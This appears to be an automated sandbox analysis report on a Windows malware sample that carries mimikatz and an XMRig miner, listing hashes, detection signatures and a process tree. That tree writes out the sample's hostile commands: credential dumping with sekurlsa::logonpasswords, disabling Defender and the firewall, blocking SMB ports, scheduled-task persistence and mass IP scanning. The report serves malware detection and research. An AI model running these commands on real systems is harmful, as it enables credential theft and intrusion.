Overview

overview

10

Static

static

10

00089336ae...42.exe

windows7-x64

10

00089336ae...42.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-09-2024 18:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    00089336ae963725890d7f9371d7e9b7f5344ec8014509d2d1cf01a9ed707a42.exe

  • Size

    8.3MB

  • MD5

    d95be7c052f8c656bef5b939fefd120f

  • SHA1

    33e2460b0ea2c0b02e323525485c90a176830edd

  • SHA256

    00089336ae963725890d7f9371d7e9b7f5344ec8014509d2d1cf01a9ed707a42

  • SHA512

    87cc9cb4ce6458d2c250b695847ef1e71c66a73e403326f22b28232109f1267fb3de2e8f60dc3990865c6427370f45eda5a2e60586db2be0f6c91f275d58dacb

  • SSDEEP

    98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score
10/10
mimikatzxmrigcredential_accessdiscoveryevasionexecutionminerpersistenceprivilege_escalationupx

Malware Config

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Contacts a large (19954) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

    credential_access
  • XMRig Miner payload 10 IoCs
    miner
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 34 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Creates a Windows Service
    persistence
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • NSIS installer 3 IoCs
    installer
  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2072
      • C:\Windows\TEMP\znmrttiqf\ittilk.exe
        "C:\Windows\TEMP\znmrttiqf\ittilk.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3276
    • C:\Users\Admin\AppData\Local\Temp\00089336ae963725890d7f9371d7e9b7f5344ec8014509d2d1cf01a9ed707a42.exe
      "C:\Users\Admin\AppData\Local\Temp\00089336ae963725890d7f9371d7e9b7f5344ec8014509d2d1cf01a9ed707a42.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1516
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bitpvjte\cerjnki.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:60
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4612
        • C:\Windows\bitpvjte\cerjnki.exe
          C:\Windows\bitpvjte\cerjnki.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4944
    • C:\Windows\bitpvjte\cerjnki.exe
      C:\Windows\bitpvjte\cerjnki.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4968
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
            PID:2504
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2616
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4240
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1524
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3960
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2188
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:716
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:2904
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe
            C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4072
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3640
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4844
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:5008
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:116
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1612
            • C:\Windows\SysWOW64\net.exe
              net start npf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1880
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2512
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net start npf
          2⤵
            PID:4816
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2700
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2616
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2228
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4724
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4136
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3828
            • C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe
              C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\iiliuscuk\trrjzeypr\Scant.txt
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:5012
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c C:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iiliuscuk\Corporate\log.txt
            2⤵
            • Drops file in Windows directory
            PID:4756
            • C:\Windows\iiliuscuk\Corporate\vfshost.exe
              C:\Windows\iiliuscuk\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4352
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4116
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              3⤵
                PID:4808
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "bitcngibf" /ru system /tr "cmd /c C:\Windows\ime\cerjnki.exe"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:3476
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2208
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4444
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "eckibfjby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F"
                3⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:428
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"
              2⤵
                PID:1324
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3460
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "penbtupcf" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3932
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:2904
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:1516
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:4224
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:4536
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1512
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:60
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:1816
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:4860
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                PID:2700
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:3548
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:4992
              • C:\Windows\SysWOW64\netsh.exe
                netsh ipsec static set policy name=Bastards assign=y
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Location Discovery: System Language Discovery
                PID:3596
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net stop SharedAccess
                2⤵
                  PID:4936
                  • C:\Windows\SysWOW64\net.exe
                    net stop SharedAccess
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4016
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop SharedAccess
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:2312
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh firewall set opmode mode=disable
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1448
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall set opmode mode=disable
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:1716
                • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                  C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 772 C:\Windows\TEMP\iiliuscuk\772.dmp
                  2⤵
                  • Executes dropped EXE
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  PID:756
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh Advfirewall set allprofiles state off
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:4220
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh Advfirewall set allprofiles state off
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:2464
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop MpsSvc
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5052
                  • C:\Windows\SysWOW64\net.exe
                    net stop MpsSvc
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4352
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop MpsSvc
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:4844
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop WinDefend
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1968
                  • C:\Windows\SysWOW64\net.exe
                    net stop WinDefend
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4308
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop WinDefend
                      4⤵
                        PID:924
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop wuauserv
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:1204
                    • C:\Windows\SysWOW64\net.exe
                      net stop wuauserv
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2644
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop wuauserv
                        4⤵
                          PID:2436
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config MpsSvc start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2636
                      • C:\Windows\SysWOW64\sc.exe
                        sc config MpsSvc start= disabled
                        3⤵
                        • Launches sc.exe
                        PID:548
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config SharedAccess start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4880
                      • C:\Windows\SysWOW64\sc.exe
                        sc config SharedAccess start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:5116
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config WinDefend start= disabled
                      2⤵
                        PID:4808
                        • C:\Windows\SysWOW64\sc.exe
                          sc config WinDefend start= disabled
                          3⤵
                          • Launches sc.exe
                          PID:3724
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config wuauserv start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4300
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:2916
                      • C:\Windows\TEMP\xohudmc.exe
                        C:\Windows\TEMP\xohudmc.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of SetWindowsHookEx
                        PID:5092
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 380 C:\Windows\TEMP\iiliuscuk\380.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4388
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2072 C:\Windows\TEMP\iiliuscuk\2072.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1104
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2740 C:\Windows\TEMP\iiliuscuk\2740.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1816
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2832 C:\Windows\TEMP\iiliuscuk\2832.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2292
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2428 C:\Windows\TEMP\iiliuscuk\2428.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1068
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2492 C:\Windows\TEMP\iiliuscuk\2492.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:220
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3764 C:\Windows\TEMP\iiliuscuk\3764.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2212
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3852 C:\Windows\TEMP\iiliuscuk\3852.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3868
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3920 C:\Windows\TEMP\iiliuscuk\3920.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3472
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 4004 C:\Windows\TEMP\iiliuscuk\4004.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2948
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 1884 C:\Windows\TEMP\iiliuscuk\1884.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5084
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 3600 C:\Windows\TEMP\iiliuscuk\3600.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4972
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 4812 C:\Windows\TEMP\iiliuscuk\4812.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4072
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 768 C:\Windows\TEMP\iiliuscuk\768.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4852
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 4856 C:\Windows\TEMP\iiliuscuk\4856.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1048
                      • C:\Windows\TEMP\iiliuscuk\migibaipq.exe
                        C:\Windows\TEMP\iiliuscuk\migibaipq.exe -accepteula -mp 2204 C:\Windows\TEMP\iiliuscuk\2204.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2352
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c C:\Windows\iiliuscuk\trrjzeypr\scan.bat
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:4976
                        • C:\Windows\iiliuscuk\trrjzeypr\zljshrqzb.exe
                          zljshrqzb.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
                          3⤵
                          • Executes dropped EXE
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          PID:4640
                    • C:\Windows\SysWOW64\tyxtye.exe
                      C:\Windows\SysWOW64\tyxtye.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:4988
                    • C:\Windows\system32\cmd.EXE
                      C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cerjnki.exe
                      1⤵
                        PID:4624
                        • C:\Windows\ime\cerjnki.exe
                          C:\Windows\ime\cerjnki.exe
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of SetWindowsHookEx
                          PID:3208
                      • C:\Windows\system32\cmd.EXE
                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
                        1⤵
                          PID:3952
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            2⤵
                              PID:856
                            • C:\Windows\system32\cacls.exe
                              cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
                              2⤵
                                PID:4428
                            • C:\Windows\system32\cmd.EXE
                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
                              1⤵
                                PID:2680
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                  2⤵
                                    PID:4728
                                  • C:\Windows\system32\cacls.exe
                                    cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
                                    2⤵
                                      PID:2268
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cerjnki.exe
                                    1⤵
                                      PID:4656
                                      • C:\Windows\ime\cerjnki.exe
                                        C:\Windows\ime\cerjnki.exe
                                        2⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1056
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
                                      1⤵
                                        PID:5176
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                          2⤵
                                            PID:5208
                                          • C:\Windows\system32\cacls.exe
                                            cacls C:\Windows\TEMP\znmrttiqf\ittilk.exe /p everyone:F
                                            2⤵
                                              PID:3640
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
                                            1⤵
                                              PID:5252
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                2⤵
                                                  PID:1940
                                                • C:\Windows\system32\cacls.exe
                                                  cacls C:\Windows\bitpvjte\cerjnki.exe /p everyone:F
                                                  2⤵
                                                    PID:5536

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
